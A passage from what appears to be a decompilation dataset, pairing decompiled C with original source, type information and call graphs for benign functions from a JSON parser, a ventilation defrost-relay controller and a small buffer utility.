&& *(_DWORD *)(v18 + 8) == -1 )\n{\na1[2] = i;\ngoto LABEL_51;\n}\n--i;\n}\n}\ngoto LABEL_51;\n}\nif ( v19 <= 93 )\n{\nif ( v19 > 58 )\n{\nif ( v19 == 91 )\n{\nLABEL_12:\n++v20;\nif ( a4 )\n{\nv16 = jsmn_alloc_token((__int64)a1, a4, a5);\nif ( !v16 )\nreturn 0xFFFFFFFFLL;\nif ( a1[2] != -1 )\n{\nv6 = 16LL * a1[2] + a4;\n++*(_DWORD *)(v6 + 12);\n}\nif ( v19 == 123 )\nv7 = 1;\nelse\nv7 = 2;\n*v16 = v7;\nv16[1] = *a1;\na1[2] = a1[1] - 1;\n}\ngoto LABEL_51;\n}\n}\nelse if ( v19 >= 9 )\n{\nswitch ( v19 )\n{\ncase 9:\ncase 10:\ncase 13:\ncase 32:\ncase 44:\ncase 58:\ngoto LABEL_51;\ncase 34:\nv14 = jsmn_parse_string(a1, a2, a3, a4, a5);\nif ( v14 < 0 )\nreturn (unsigned int)v14;\n++v20;\nif ( a1[2] != -1 && a4 )\n{\nv9 = 16LL * a1[2] + a4;\n++*(_DWORD *)(v9 + 12);\n}\nbreak;\ndefault:\ngoto LABEL_46;\n}\ngoto LABEL_51;\n}\n}\n}\n}\nLABEL_46:\nv15 = jsmn_parse_primitive(a1, a2, a3, a4, a5);\nif ( v15 < 0 )\nreturn (unsigned int)v15;\n++v20;\nif ( a1[2] != -1 && a4 )\n{\nv10 = 16LL * a1[2] + a4;\n++*(_DWORD *)(v10 + 12);\n}\nLABEL_51:\n++*a1;\n}\nfor ( j = a1[1] - 1; j >= 0; --j )\n{\nif ( *(_DWORD *)(16LL * j + a4 + 4) != -1 && *(_DWORD *)(16LL * j + a4 + 8) == -1 )\nreturn 4294967293LL;\n}\nreturn v20;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(int *a1, __int64 a2, unsigned __int64 a3, __int64 a4, unsigned int a5)\n{\n__int64 v6; // rax\nint v7; // edx\nint v8; // eax\n__int64 v9; // rax\n__int64 v10; // rax\nint v14; // [rsp+2Ch] [rbp-1Ch]\nint v15; // [rsp+2Ch] [rbp-1Ch]\n_DWORD *v16; // [rsp+30h] [rbp-18h]\n_DWORD *v17; // [rsp+30h] [rbp-18h]\n__int64 v18; // [rsp+30h] [rbp-18h]\nchar v19; // [rsp+3Fh] [rbp-9h]\nunsigned int v20; // [rsp+40h] [rbp-8h]\nint i; // [rsp+44h] [rbp-4h]\nint j; // [rsp+44h] [rbp-4h]\n\nv20 = 0;\nwhile ( a3 > (unsigned int)*a1 && *(_BYTE *)((unsigned int)*a1 + a2) )\n{\nv19 = *(_BYTE *)((unsigned int)*a1 + a2);\nif ( v19 == 125 )\ngoto LABEL_21;\nif ( v19 <= 125 )\n{\nif ( v19 == 123 )\ngoto LABEL_12;\nif ( v19 <= 123 )\n{\nif ( v19 == 93 )\n{\nLABEL_21:\nif ( a4 )\n{\nif ( v19 == 125 )\nv8 = 1;\nelse\nv8 = 2;\nfor ( i = a1[1] - 1; ; --i )\n{\nif ( i < 0 )\ngoto LABEL_33;\nv17 = (_DWORD *)(16LL * i + a4);\nif ( v17[1] != -1 && v17[2] == -1 )\nbreak;\n}\nif ( v8 != *v17 )\nreturn 4294967294LL;\na1[2] = -1;\nv17[2] = *a1 + 1;\nLABEL_33:\nif ( i == -1 )\nreturn 4294967294LL;\nwhile ( i >= 0 )\n{\nv18 = 16LL * i + a4;\nif ( *(_DWORD *)(v18 + 4) != -1 && *(_DWORD *)(v18 + 8) == -1 )\n{\na1[2] = i;\ngoto LABEL_51;\n}\n--i;\n}\n}\ngoto LABEL_51;\n}\nif ( v19 <= 93 )\n{\nif ( v19 > 58 )\n{\nif ( v19 == 91 )\n{\nLABEL_12:\n++v20;\nif ( a4 )\n{\nv16 = jsmn_alloc_token((__int64)a1, a4, a5);\nif ( !v16 )\nreturn 0xFFFFFFFFLL;\nif ( a1[2] != -1 )\n{\nv6 = 16LL * a1[2] + a4;\n++*(_DWORD *)(v6 + 12);\n}\nif ( v19 == 123 )\nv7 = 1;\nelse\nv7 = 2;\n*v16 = v7;\nv16[1] = *a1;\na1[2] = a1[1] - 1;\n}\ngoto LABEL_51;\n}\n}\nelse if ( v19 >= 9 )\n{\nswitch ( v19 )\n{\ncase 9:\ncase 10:\ncase 13:\ncase 32:\ncase 44:\ncase 58:\ngoto LABEL_51;\ncase 34:\nv14 = func1(a1, a2, a3, a4, a5);\nif ( v14 < 0 )\nreturn (unsigned int)v14;\n++v20;\nif ( a1[2] != -1 && a4 )\n{\nv9 = 16LL * a1[2] + a4;\n++*(_DWORD *)(v9 + 12);\n}\nbreak;\ndefault:\ngoto LABEL_46;\n}\ngoto LABEL_51;\n}\n}\n}\n}\nLABEL_46:\nv15 = func0(a1, a2, a3, a4, a5);\nif ( v15 < 0 )\nreturn (unsigned int)v15;\n++v20;\nif ( a1[2] != -1 && a4 )\n{\nv10 = 16LL * a1[2] + a4;\n++*(_DWORD *)(v10 + 12);\n}\nLABEL_51:\n++*a1;\n}\nfor ( j = a1[1] - 1; j >= 0; --j )\n{\nif ( *(_DWORD *)(16LL * j + a4 + 4) != -1 && *(_DWORD *)(16LL * j + a4 + 8) == -1 )\nreturn 4294967293LL;\n}\nreturn v20;\n}", "original_code": "jsmnerr_t jsmn_parse(jsmn_parser *parser, const char *js, size_t len,\n jsmntok_t *tokens, unsigned int num_tokens) {\n jsmnerr_t r;\n int i;\n jsmntok_t *token;\n int count = 0;\n for (; parser->pos < len && js[parser->pos] != '\\0'; parser->pos++) {\n char c;\n jsmntype_t type;\n c = js[parser->pos];\n switch (c) {\n case '{': case '[':\n count++;\n if (tokens == ((void *)0)) {\n break;\n }\n token = jsmn_alloc_token(parser, tokens, num_tokens);\n if (token == ((void *)0))\n return JSMN_ERROR_NOMEM;\n if (parser->toksuper != -1) {\n tokens[parser->toksuper].size++;\n }\n token->type = (c == '{' ? JSMN_OBJECT : JSMN_ARRAY);\n token->start = parser->pos;\n parser->toksuper = parser->toknext - 1;\n break;\n case '}': case ']':\n if (tokens == ((void *)0))\n break;\n type = (c == '}' ? JSMN_OBJECT : JSMN_ARRAY);\n for (i = parser->toknext - 1; i >= 0; i--) {\n token = &tokens[i];\n if (token->start != -1 && token->end == -1) {\n if (token->type != type) {\n return JSMN_ERROR_INVAL;\n }\n parser->toksuper = -1;\n token->end = parser->pos + 1;\n break;\n }\n }\n if (i == -1) return JSMN_ERROR_INVAL;\n for (; i >= 0; i--) {\n token = &tokens[i];\n if (token->start != -1 && token->end == -1) {\n parser->toksuper = i;\n break;\n }\n }\n break;\n case '\\\"':\n r = jsmn_parse_string(parser, js, len, tokens, num_tokens);\n if (r < 0) return r;\n count++;\n if (parser->toksuper != -1 && tokens != ((void *)0))\n tokens[parser->toksuper].size++;\n break;\n case '\\t' : case '\\r' : case '\\n' : case ':' : case ',': case ' ':\n break;\n default:\n r = jsmn_parse_primitive(parser, js, len, tokens, num_tokens);\n if (r < 0) return r;\n count++;\n if (parser->toksuper != -1 && tokens != ((void *)0))\n tokens[parser->toksuper].size++;\n break;\n }\n }\n for (i = parser->toknext - 1; i >= 0; i--) {\n if (tokens[i].start != -1 && tokens[i].end == -1) {\n return JSMN_ERROR_PART;\n }\n }\n return count;\n}", "canonical_original_code": "enum jsmnerr_t jsmn_parse(struct jsmn_parser *parser, char *js, unsigned long len, struct jsmntok_t *tokens, unsigned int num_tokens) {\n enum jsmnerr_t r;\n int i;\n struct jsmntok_t *token;\n int count = 0;\n for (; parser->pos < len && js[parser->pos] != '\\0'; parser->pos++) {\n char c;\n enum jsmntype_t type;\n c = js[parser->pos];\n switch (c) {\n case '{': case '[':\n count++;\n if (tokens == ((void *)0)) {\n break;\n }\n token = jsmn_alloc_token(parser, tokens, num_tokens);\n if (token == ((void *)0))\n return JSMN_ERROR_NOMEM;\n if (parser->toksuper != -1) {\n tokens[parser->toksuper].size++;\n }\n token->type = (c == '{' ? JSMN_OBJECT : JSMN_ARRAY);\n token->start = parser->pos;\n parser->toksuper = parser->toknext - 1;\n break;\n case '}': case ']':\n if (tokens == ((void *)0))\n break;\n type = (c == '}' ? JSMN_OBJECT : JSMN_ARRAY);\n for (i = parser->toknext - 1; i >= 0; i--) {\n token = &tokens[i];\n if (token->start != -1 && token->end == -1) {\n if (token->type != type) {\n return JSMN_ERROR_INVAL;\n }\n parser->toksuper = -1;\n token->end = parser->pos + 1;\n break;\n }\n }\n if (i == -1) return JSMN_ERROR_INVAL;\n for (; i >= 0; i--) {\n token = &tokens[i];\n if (token->start != -1 && token->end == -1) {\n parser->toksuper = i;\n break;\n }\n }\n break;\n case '\\\"':\n r = jsmn_parse_string(parser, js, len, tokens, num_tokens);\n if (r < 0) return r;\n count++;\n if (parser->toksuper != -1 && tokens != ((void *)0))\n tokens[parser->toksuper].size++;\n break;\n case '\\t' : case '\\r' : case '\\n' : case ':' : case ',': case ' ':\n break;\n default:\n r = jsmn_parse_primitive(parser, js, len, tokens, num_tokens);\n if (r < 0) return r;\n count++;\n if (parser->toksuper != -1 && tokens != ((void *)0))\n tokens[parser->toksuper].size++;\n break;\n }\n }\n for (i = parser->toknext - 1; i >= 0; i--) {\n if (tokens[i].start != -1 && tokens[i].end == -1) {\n return JSMN_ERROR_PART;\n }\n }\n return count;\n}", "variable_types": [ [ "parser", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; } *" ], [ "js", "char *" ], [ "len", "unsigned long" ], [ "tokens", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "num_tokens", "unsigned int" ], [ "r", "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }" ], [ "i", "int" ], [ "token", "struct jsmntok_t { enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 } type; int start; int end; int size; } *" ], [ "count", "int" ], [ "c", "char" ], [ "type", "enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 }" ] ], "return_type": "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }", "user_defined_types": [ "enum jsmnerr_t { JSMN_ERROR_NOMEM=-1, JSMN_ERROR_INVAL=-2, JSMN_ERROR_PART=-3 }", "enum jsmntype_t { JSMN_PRIMITIVE=0, JSMN_OBJECT=1, JSMN_ARRAY=2, JSMN_STRING=3 }", "struct jsmn_parser { unsigned int pos; unsigned int toknext; int toksuper; }", "struct jsmntok_t { enum jsmntype_t type; int start; int end; int size; }" ], "binary_hash": "abc977a099685864e5e3753ac95b828c0b7e5d1af6e07a0b9f2d8ea810beb8bf" } ]
dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df
pecca/vallox_control
[ [ "defrost_resistor_init", "->", "read_on_time_from_file" ], [ "defrost_resistor_start", "->" ], [ "defrost_resistor_stop", "->", "u32_defrost_resistor_get_on_time" ], [ "defrost_resistor_counter_update", "->", "save_on_time_to_file" ], [ "u32_defrost_resistor_get_on_time", "->", "defrost_resistor_stop" ], [ "defrost_resistor_get_status", "->" ], [ "u32_defrost_resistor_get_on_time_total", "->" ], [ "read_on_time_from_file", "->", "defrost_resistor_init" ], [ "save_on_time_to_file", "->", "defrost_resistor_counter_update" ] ]
[ [ "read_on_time_from_file", "int func7()\n{\nFILE *v0; // rax\nFILE *stream; // [rsp+8h] [rbp-8h]\n\nv0 = fopen(\"defrost_heating_value.txt\", \"r\");\nstream = v0;\nif ( v0 )\n{\n_isoc99_fscanf(v0, \"%d\", &g_u32OnTimeTotal);\nLODWORD(v0) = fclose(stream);\n}\nreturn (int)v0;\n}" ], [ "save_on_time_to_file", "int func8()\n{\nFILE *v0; // rax\nFILE *stream; // [rsp+8h] [rbp-8h]\n\nv0 = fopen(\"defrost_heating_value.txt\", \"w\");\nstream = v0;\nif ( v0 )\n{\nfprintf(v0, \"%d\\n\", (unsigned int)g_u32OnTimeTotal);\nLODWORD(v0) = fclose(stream);\n}\nreturn (int)v0;\n}" ] ]
[ { "name": "defrost_resistor_init", "canonical_name": "func0", "repo": "pecca/vallox_control", "decompiled_code": "__int64 defrost_resistor_init()\n{\nrelay_control_init(22LL);\nreturn read_on_time_from_file();\n}\n", "canonical_decompiled_code": "__int64 func0()\n{\nrelay_control_init(22LL);\nreturn func7();\n}", "original_code": "void defrost_resistor_init(void)\n{\n relay_control_init(22);\n read_on_time_from_file();\n}", "canonical_original_code": "void defrost_resistor_init()\n{\n relay_control_init(22);\n read_on_time_from_file();\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" }, { "name": "defrost_resistor_start", "canonical_name": "func1", "repo": "pecca/vallox_control", "decompiled_code": "time_t defrost_resistor_start()\n{\ntime_t result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( !g_u32StartTime )\n{\nrelay_control_set_on(22LL);\nresult = time(0LL);\ng_u32StartTime = result;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "time_t func1()\n{\ntime_t result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( !g_u32StartTime )\n{\nrelay_control_set_on(22LL);\nresult = time(0LL);\ng_u32StartTime = result;\n}\nreturn result;\n}", "original_code": "void defrost_resistor_start(void)\n{\n if (!g_u32StartTime)\n {\n relay_control_set_on(22);\n g_u32StartTime = time(((void *)0));\n }\n}", "canonical_original_code": "void defrost_resistor_start()\n{\n if (!g_u32StartTime)\n {\n relay_control_set_on(22);\n g_u32StartTime = time(((void *)0));\n }\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" }, { "name": "defrost_resistor_stop", "canonical_name": "func2", "repo": "pecca/vallox_control", "decompiled_code": "__int64 defrost_resistor_stop()\n{\n__int64 result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( g_u32StartTime )\n{\nrelay_control_set_off(22LL);\nresult = g_u32OnTimeTotal + (unsigned int)u32_defrost_resistor_get_on_time();\ng_u32OnTimeTotal = result;\ng_u32StartTime = 0;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\n__int64 result; // rax\n\nresult = (unsigned int)g_u32StartTime;\nif ( g_u32StartTime )\n{\nrelay_control_set_off(22LL);\nresult = g_u32OnTimeTotal + (unsigned int)func4();\ng_u32OnTimeTotal = result;\ng_u32StartTime = 0;\n}\nreturn result;\n}", "original_code": "void defrost_resistor_stop(void)\n{\n if (g_u32StartTime)\n {\n relay_control_set_off(22);\n g_u32OnTimeTotal += u32_defrost_resistor_get_on_time();\n g_u32StartTime = 0;\n }\n}", "canonical_original_code": "void defrost_resistor_stop()\n{\n if (g_u32StartTime)\n {\n relay_control_set_off(22);\n g_u32OnTimeTotal += u32_defrost_resistor_get_on_time();\n g_u32StartTime = 0;\n }\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" }, { "name": "defrost_resistor_counter_update", "canonical_name": "func3", "repo": "pecca/vallox_control", "decompiled_code": "__int64 defrost_resistor_counter_update()\n{\n__int64 result; // rax\n\n++g_u32CheckCallCnt;\nresult = 5 * g_u32CheckCallCnt % 0xE10u;\nif ( !(_DWORD)result )\nresult = save_on_time_to_file();\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\n__int64 result; // rax\n\n++g_u32CheckCallCnt;\nresult = 5 * g_u32CheckCallCnt % 0xE10u;\nif ( !(_DWORD)result )\nresult = func8();\nreturn result;\n}", "original_code": "void defrost_resistor_counter_update(void)\n{\n g_u32CheckCallCnt++;\n if ( (g_u32CheckCallCnt * (5)) %\n (60*60) == 0)\n {\n save_on_time_to_file();\n }\n}", "canonical_original_code": "void defrost_resistor_counter_update()\n{\n g_u32CheckCallCnt++;\n if ( (g_u32CheckCallCnt * (5)) %\n (60*60) == 0)\n {\n save_on_time_to_file();\n }\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" }, { "name": "u32_defrost_resistor_get_on_time", "canonical_name": "func4", "repo": "pecca/vallox_control", "decompiled_code": "__int64 u32_defrost_resistor_get_on_time()\n{\n__int64 result; // rax\n\nif ( g_u32StartTime )\nresult = (unsigned int)time(0LL) - g_u32StartTime;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func4()\n{\n__int64 result; // rax\n\nif ( g_u32StartTime )\nresult = (unsigned int)time(0LL) - g_u32StartTime;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "uint32 u32_defrost_resistor_get_on_time()\n{\n if (g_u32StartTime)\n {\n return time(((void *)0)) - g_u32StartTime;\n }\n else\n {\n return 0;\n }\n}", "canonical_original_code": "unsigned int u32_defrost_resistor_get_on_time()\n{\n if (g_u32StartTime)\n {\n return time(((void *)0)) - g_u32StartTime;\n }\n else\n {\n return 0;\n }\n}", "variable_types": [], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" }, { "name": "defrost_resistor_get_status", "canonical_name": "func5", "repo": "pecca/vallox_control", "decompiled_code": "_BOOL8 defrost_resistor_get_status()\n{\nreturn g_u32StartTime != 0;\n}\n", "canonical_decompiled_code": "_BOOL8 func5()\n{\nreturn g_u32StartTime != 0;\n}", "original_code": "_Bool defrost_resistor_get_status()\n{\n if (g_u32StartTime)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}", "canonical_original_code": "_Bool defrost_resistor_get_status()\n{\n if (g_u32StartTime)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}", "variable_types": [], "return_type": "_Bool", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" }, { "name": "u32_defrost_resistor_get_on_time_total", "canonical_name": "func6", "repo": "pecca/vallox_control", "decompiled_code": "__int64 u32_defrost_resistor_get_on_time_total()\n{\nreturn (unsigned int)g_u32OnTimeTotal;\n}\n", "canonical_decompiled_code": "__int64 func6()\n{\nreturn (unsigned int)g_u32OnTimeTotal;\n}", "original_code": "uint32 u32_defrost_resistor_get_on_time_total()\n{\n return g_u32OnTimeTotal;\n}", "canonical_original_code": "unsigned int u32_defrost_resistor_get_on_time_total()\n{\n return g_u32OnTimeTotal;\n}", "variable_types": [], "return_type": "unsigned int", "user_defined_types": [], "binary_hash": "dc2be785cf863b9a6fc72dfed73642d1f99a54e2141924f4c58012208f72a8df" } ]
96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214
apk/asciztalker
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "buf_init", "->", "main" ], [ "buf_appendz", "->", "main" ], [ "buf_rd_p", "->", "main" ], [ "buf_wr_p", "->", "main" ], [ "buf_rd_x", "->", "main" ], [ "buf_wr_x", "->", "main" ], [ "main", "->", "buf_init", "buf_appendz", "buf_rd_p", "buf_wr_p", "buf_rd_x", "buf_wr_x" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func13(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func14(void)\n{\n;\n}" ] ]
[ { "name": "buf_init", "canonical_name": "func7", "repo": "apk/asciztalker", "decompiled_code": "__int64 __fastcall buf_init(__int64 a1)\n{\n__int64 result; // rax\n\n*(_DWORD *)(a1 + 1028) = 0;\nresult = a1;\n*(_DWORD *)(a1 + 1024) = 0;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1)\n{\n__int64 result; // rax\n\n*(_DWORD *)(a1 + 1028) = 0;\nresult = a1;\n*(_DWORD *)(a1 + 1024) = 0;\nreturn result;\n}", "original_code": "void buf_init (struct buf *b) {\n b->pos = 0;\n b->fill = 0;\n}", "canonical_original_code": "void buf_init(struct buf *b) {\n b->pos = 0;\n b->fill = 0;\n}", "variable_types": [ [ "b", "struct buf { char buf[1024]; int fill; int pos; } *" ] ], "return_type": "void", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" }, { "name": "buf_appendz", "canonical_name": "func8", "repo": "apk/asciztalker", "decompiled_code": "__int64 __fastcall buf_appendz(__int64 a1, _BYTE *a2)\n{\n_BYTE *v2; // rdx\nint v3; // eax\n__int64 result; // rax\n\ndo\n{\nif ( *(_DWORD *)(a1 + 1024) > 0x3FFu )\n{\nfwrite(\"Overflow\\n\", 1uLL, 9uLL, stderr);\nexit(1);\n}\nv2 = a2++;\nv3 = *(_DWORD *)(a1 + 1024);\n*(_DWORD *)(a1 + 1024) = v3 + 1;\n*(_BYTE *)(a1 + v3) = *v2;\nresult = *(unsigned __int8 *)(a1 + v3);\n}\nwhile ( (_BYTE)result );\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1, _BYTE *a2)\n{\n_BYTE *v2; // rdx\nint v3; // eax\n__int64 result; // rax\n\ndo\n{\nif ( *(_DWORD *)(a1 + 1024) > 0x3FFu )\n{\nfwrite(\"Overflow\\n\", 1uLL, 9uLL, stderr);\nexit(1);\n}\nv2 = a2++;\nv3 = *(_DWORD *)(a1 + 1024);\n*(_DWORD *)(a1 + 1024) = v3 + 1;\n*(_BYTE *)(a1 + v3) = *v2;\nresult = *(unsigned __int8 *)(a1 + v3);\n}\nwhile ( (_BYTE)result );\nreturn result;\n}", "original_code": "void buf_appendz (struct buf *b, char *p) {\n do {\n if (b->fill >= sizeof (b->buf)) {\n fprintf (stderr, \"Overflow\\n\");\n exit (1);\n }\n } while ((b->buf [b->fill ++] = *p ++));\n}", "canonical_original_code": "void buf_appendz(struct buf *b, char *p) {\n do {\n if (b->fill >= sizeof (b->buf)) {\n fprintf (stderr, \"Overflow\\n\");\n exit (1);\n }\n } while ((b->buf [b->fill ++] = *p ++));\n}", "variable_types": [ [ "b", "struct buf { char buf[1024]; int fill; int pos; } *" ], [ "p", "char *" ] ], "return_type": "void", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" }, { "name": "buf_rd_p", "canonical_name": "func9", "repo": "apk/asciztalker", "decompiled_code": "_BOOL8 __fastcall buf_rd_p(__int64 a1)\n{\nreturn *(_DWORD *)(a1 + 1024) <= 0x3FFu;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func9(__int64 a1)\n{\nreturn *(_DWORD *)(a1 + 1024) <= 0x3FFu;\n}", "original_code": "int buf_rd_p (struct buf *b) {\n return b->fill < sizeof (b->buf);\n}", "canonical_original_code": "int buf_rd_p(struct buf *b) {\n return b->fill < sizeof (b->buf);\n}", "variable_types": [ [ "b", "struct buf { char buf[1024]; int fill; int pos; } *" ] ], "return_type": "int", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" }, { "name": "buf_wr_p", "canonical_name": "func10", "repo": "apk/asciztalker", "decompiled_code": "_BOOL8 __fastcall buf_wr_p(__int64 a1)\n{\nreturn *(_DWORD *)(a1 + 1028) < *(_DWORD *)(a1 + 1024);\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func10(__int64 a1)\n{\nreturn *(_DWORD *)(a1 + 1028) < *(_DWORD *)(a1 + 1024);\n}", "original_code": "int buf_wr_p (struct buf *b) {\n return b->pos < b->fill;\n}", "canonical_original_code": "int buf_wr_p(struct buf *b) {\n return b->pos < b->fill;\n}", "variable_types": [ [ "b", "struct buf { char buf[1024]; int fill; int pos; } *" ] ], "return_type": "int", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" }, { "name": "buf_rd_x", "canonical_name": "func11", "repo": "apk/asciztalker", "decompiled_code": "__int64 __fastcall buf_rd_x(__int64 a1, int a2)\n{\n__int64 result; // rax\nint v3; // [rsp+18h] [rbp-8h]\n\nv3 = read(a2, (void *)(*(int *)(a1 + 1024) + a1), 1024 - *(_DWORD *)(a1 + 1024));\nif ( v3 == -1 )\n{\nperror(\"read\");\nexit(1);\n}\nif ( !v3 )\n{\nfwrite(\"EOF\\n\", 1uLL, 4uLL, stderr);\nkill(pid, 2);\nexit(1);\n}\nresult = a1;\n*(_DWORD *)(a1 + 1024) += v3;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func11(__int64 a1, int a2)\n{\n__int64 result; // rax\nint v3; // [rsp+18h] [rbp-8h]\n\nv3 = read(a2, (void *)(*(int *)(a1 + 1024) + a1), 1024 - *(_DWORD *)(a1 + 1024));\nif ( v3 == -1 )\n{\nperror(\"read\");\nexit(1);\n}\nif ( !v3 )\n{\nfwrite(\"EOF\\n\", 1uLL, 4uLL, stderr);\nkill(pid, 2);\nexit(1);\n}\nresult = a1;\n*(_DWORD *)(a1 + 1024) += v3;\nreturn result;\n}", "original_code": "void buf_rd_x (struct buf *b, int fd) {\n int sz = sizeof (b->buf) - b->fill;\n int r = read (fd, b->buf + b->fill, sz);\n if (r == -1) {\n perror (\"read\");\n exit (1);\n }\n if (r == 0) {\n fprintf (stderr, \"EOF\\n\");\n kill (pid, 2);\n exit (1);\n }\n b->fill += r;\n}", "canonical_original_code": "void buf_rd_x(struct buf *b, int fd) {\n int sz = sizeof (b->buf) - b->fill;\n int r = read (fd, b->buf + b->fill, sz);\n if (r == -1) {\n perror (\"read\");\n exit (1);\n }\n if (r == 0) {\n fprintf (stderr, \"EOF\\n\");\n kill (pid, 2);\n exit (1);\n }\n b->fill += r;\n}", "variable_types": [ [ "b", "struct buf { char buf[1024]; int fill; int pos; } *" ], [ "fd", "int" ], [ "sz", "int" ], [ "r", "int" ] ], "return_type": "void", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" }, { "name": "buf_wr_x", "canonical_name": "func12", "repo": "apk/asciztalker", "decompiled_code": "unsigned __int64 __fastcall buf_wr_x(_DWORD *a1, int a2)\n{\nunsigned __int64 result; // rax\nint v3; // [rsp+18h] [rbp-8h]\n\nv3 = write(a2, (char *)a1 + (int)a1[257], a1[256] - a1[257]);\nif ( v3 == -1 )\n{\nperror(\"read\");\nexit(1);\n}\nif ( !v3 )\n{\nfwrite(\"FULL?\\n\", 1uLL, 6uLL, stderr);\nexit(1);\n}\na1[257] += v3;\nresult = (unsigned int)a1[257];\nif ( (unsigned int)result > 0x200 )\n{\nmemmove(a1, (char *)a1 + (int)a1[257], a1[256] - a1[257]);\na1[256] -= a1[257];\nresult = (unsigned __int64)a1;\na1[257] = 0;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func12(_DWORD *a1, int a2)\n{\nunsigned __int64 result; // rax\nint v3; // [rsp+18h] [rbp-8h]\n\nv3 = write(a2, (char *)a1 + (int)a1[257], a1[256] - a1[257]);\nif ( v3 == -1 )\n{\nperror(\"read\");\nexit(1);\n}\nif ( !v3 )\n{\nfwrite(\"FULL?\\n\", 1uLL, 6uLL, stderr);\nexit(1);\n}\na1[257] += v3;\nresult = (unsigned int)a1[257];\nif ( (unsigned int)result > 0x200 )\n{\nmemmove(a1, (char *)a1 + (int)a1[257], a1[256] - a1[257]);\na1[256] -= 